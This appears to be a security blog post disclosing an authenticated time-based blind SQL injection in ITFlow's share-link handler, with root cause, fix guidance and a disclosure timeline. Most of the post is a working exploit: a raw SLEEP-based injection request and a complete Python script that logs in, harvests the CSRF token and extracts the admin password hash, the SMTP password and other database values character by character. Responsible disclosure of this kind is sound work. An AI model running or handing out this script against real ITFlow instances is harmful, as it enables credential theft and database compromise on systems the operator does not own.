security research
iltosec
← back to blog
CVE Vulnerability Research Injection

CVE-2026-54597: Authenticated Time-Based Blind SQL Injection in ITFlow

Summary

A time-based blind SQL injection vulnerability exists in ITFlow's share link generation handler. The expires GET parameter is passed directly into a MySQL INTERVAL expression without numeric validation. Although sanitizeInput() wraps the value with mysqli_real_escape_string(), this function only protects against quote-based injection — it provides zero protection in an unquoted numeric SQL context. Any authenticated user with module_support write permission can abuse this to perform boolean and time-based blind SQL injection and exfiltrate arbitrary data from the database.

CVE: CVE-2026-54597 | CVSS Score: High | Advisory: GHSA-m63v-j7fw-hq2h | Author: iltosec


Vulnerability Details

Root Cause

File: agent/ajax.php — Line 218

$item_expires = sanitizeInput($_GET['expires']);
// ...
$sql = mysqli_query($mysqli,
    "INSERT INTO shared_items SET
     ...
     item_expire_at = NOW() + INTERVAL + $item_expires,
     item_client_id = $client_id"
);

sanitizeInput() calls mysqli_real_escape_string(), which escapes quote characters such as ', ", and \. These characters never appear in a valid INTERVAL value — making the function completely ineffective here.

image

The INTERVAL unit position is a raw SQL expression context. The attacker supplies the entire expr UNIT pair, for example:

IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR

MySQL evaluates the subquery before calculating the interval. This opens the full boolean and time-based blind injection model: character-by-character extraction of any value in the database.

Affected File


Proof of Concept

Prerequisites

Injection Payload

GET /agent/ajax.php?share_generate_link=&item_type=Credential&item_id=1&client_id=1&expires=IF((SELECT+COUNT(*)+FROM+users)>0,SLEEP(2),0)+HOUR&email=t@t.com&view_limit=0&csrf_token=... HTTP/1.1
Host: itflow.com
Cookie: PHPSESSID=...

If the response is delayed by ~2 seconds, the injection is live.

Exploit Script

python3 exploit.py http://itflow.com iltosec@iltosec.com 'emsJ_;PD@@;-r>4' 1

The following PoC automates character-by-character extraction via binary search over time-based responses:

import sys
import time
import argparse
import requests

parser = argparse.ArgumentParser(
    prog="exploit.py",
    description="ITFlow — CVE-2026-54597 - Time-Based Blind SQL Injection PoC (agent/ajax.php expires) - by iltosec",
    formatter_class=argparse.RawTextHelpFormatter,
    epilog=(
        "Examples:\n"
        "  python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1\n"
        "  python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --all\n"
        "  python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --adminhash --smtppass\n"
        "  python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --dbuser --dbversion"
    ),
)
parser.add_argument("url",      help="Target base URL (e.g. http://itflow.com)")
parser.add_argument("email",    help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("cred_id",  help="A valid credential ID on the target")
parser.add_argument("--adminhash",   action="store_true", help="Extract admin password hash")
parser.add_argument("--smtppass",    action="store_true", help="Extract SMTP password")
parser.add_argument("--dbuser",      action="store_true", help="Extract MySQL current user")
parser.add_argument("--dbversion",   action="store_true", help="Extract MySQL version")
parser.add_argument("--adminemail",  action="store_true", help="Extract admin email address")
parser.add_argument("--all",         action="store_true", help="Extract everything (overrides other flags)")

args = parser.parse_args()

if not (args.adminhash or args.smtppass or args.dbuser or
        args.dbversion or args.adminemail or args.all):
    args.adminhash = True
    args.smtppass  = True

BASE_URL  = args.url.rstrip("/")
EMAIL     = args.email
PASSWORD  = args.password
CRED_ID   = args.cred_id
DELAY     = 2
THRESHOLD = 1.5

session   = requests.Session()
csrf      = None
client_id = "1"


def login(email, password):
    r = session.post(
        f"{BASE_URL}/login.php",
        data={"email": email, "password": password, "login": ""},
        allow_redirects=True,
    )
    return r.status_code == 200 and "logout" in r.text.lower()


def refresh_csrf():
    global csrf
    r = session.get(f"{BASE_URL}/agent/clients.php")
    for line in r.text.splitlines():
        if 'name="csrf_token"' in line and "value=" in line:
            csrf = line.split('value="')[1].split('"')[0]
            return True
    return False


def reauth():
    global csrf
    print("\n[!] Session expired or invalid — re-authenticating")
    email_new = input("    Email: ")
    pass_new  = input("    Password: ")
    if not login(email_new, pass_new) or not refresh_csrf():
        print("[-] Re-auth failed. Exiting.")
        sys.exit(1)
    print("[+] Re-authenticated")


def ask(condition):
    payload = f"IF(({condition}),SLEEP({DELAY}),0) HOUR"
    params = {
        "share_generate_link": "",
        "item_type":   "Credential",
        "item_id":     CRED_ID,
        "client_id":   client_id,
        "expires":     payload,
        "email":       "t@t.com",
        "view_limit":  "0",
        "csrf_token":  csrf,
    }
    try:
        t0 = time.time()
        r  = session.get(f"{BASE_URL}/agent/ajax.php", params=params, timeout=30)
        elapsed = time.time() - t0

        if r.status_code in (401, 403) or "login.php" in r.url:
            reauth()
            return ask(condition)

        return elapsed >= THRESHOLD

    except requests.RequestException as e:
        print(f"\n[!] Request failed: {e}")
        retry = input("    Retry? [Y/n]: ").strip().lower()
        if retry != "n":
            return ask(condition)
        sys.exit(1)


def get_length(sql, max_len=80):
    length = 0
    for i in range(1, max_len + 1):
        if ask(f"LENGTH(({sql}))>={i}"):
            length = i
        else:
            break
    return length


def extract(label, sql, max_len=80):
    print(f"\n[*] {label}")
    length = get_length(sql, max_len)
    if length == 0:
        print("    Result is empty or unreachable")
        return "(empty)"
    result = ""
    for pos in range(1, length + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi + 1) // 2
            if ask(f"ORD(SUBSTR(({sql}),{pos},1))>={mid}"):
                lo = mid
            else:
                hi = mid - 1
        result += chr(lo)
        print(f"\r    [{pos}/{length}] {result:{max_len}}", end="", flush=True)
    print()
    return result


def get_client_id_from_page():
    r = session.get(f"{BASE_URL}/agent/clients.php")
    for line in r.text.splitlines():
        if "client_id=" in line and "href" in line:
            try:
                return line.split("client_id=")[1].split("&")[0].split('"')[0].strip()
            except Exception:
                pass
    return "1"


print("=" * 54)
print("  ITFlow — Time-Based Blind SQL Injection PoC - by iltosec")
print("  Endpoint : agent/ajax.php (expires parameter)")
print("=" * 54)
print()

print(f"[*] Logging in as {EMAIL} ...")
if not login(EMAIL, PASSWORD):
    print("[!] Login failed")
    EMAIL    = input("    Email: ")
    PASSWORD = input("    Password: ")
    if not login(EMAIL, PASSWORD):
        print("[-] Login failed. Exiting.")
        sys.exit(1)
print("[+] Logged in")

if not refresh_csrf():
    print("[-] Could not retrieve CSRF token. Exiting.")
    sys.exit(1)
print(f"[+] CSRF token : {csrf[:12]}...")

client_id = get_client_id_from_page()
print(f"[+] client_id  : {client_id}")

print()
print("[*] Verifying injection — IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR ...")
if ask("(SELECT COUNT(*) FROM users)>0"):
    print("[+] CONFIRMED — SLEEP triggered, injection is live\n")
else:
    print("[-] No delay detected — injection not working or request is blocked.")
    sys.exit(1)

results = {}

if args.all or args.adminhash:
    results["Admin Hash"] = extract(
        "Admin password hash (bcrypt)",
        "SELECT user_password FROM users WHERE user_id=1",
        60,
    )

if args.all or args.smtppass:
    results["SMTP Password"] = extract(
        "SMTP password (settings table)",
        "SELECT config_smtp_password FROM settings WHERE company_id=1 LIMIT 1",
        60,
    )

if args.all or args.dbuser:
    results["DB User"] = extract("MySQL current user", "SELECT user()", 30)

if args.all or args.dbversion:
    results["DB Version"] = extract("MySQL version", "SELECT VERSION()", 30)

if args.all or args.adminemail:
    results["Admin Email"] = extract(
        "Admin email address",
        "SELECT user_email FROM users WHERE user_id=1",
        60,
    )

print()
print("=" * 54)
print("  Results")
print("=" * 54)
for k, v in results.items():
    print(f"  {k:<16} : {v}")
print("=" * 54)
if "Admin Hash" in results and results["Admin Hash"] not in ("", "(empty)"):
    print()
print()

Sample Output

Extracting admin hash and SMTP password from a live instance:

image


Impact

Successful exploitation leads to full database exfiltration:


Fix

Commit 63d8691 resolves this vulnerability.

The correct remediation treats expires as a strict integer — never as a raw SQL fragment:

  1. Integer casting — Force the incoming value to an integer type before it reaches the query, stripping any non-numeric SQL syntax entirely
  2. Hardcoded unit — The time unit (HOUR, DAY, etc.) must be hardcoded in the query string, not derived from user input
  3. Strict whitelist — If the unit must remain dynamic, validate it against a predefined list of allowed keywords and reject anything else

Disclosure Timeline

Date Event
2026-05-19 Vulnerability discovered and reported to ITFlow via GitHub Security Advisory
2026-05-19 Vendor acknowledged
2026-05-20 Fix committed — 63d8691
2026-06-02 Advisory closed
2026-06-06 CVE requested via GitHub Security Advisory
2026-06-15 CVE-2026-54597 assigned / published

References

found this useful?
share on x ↗
related posts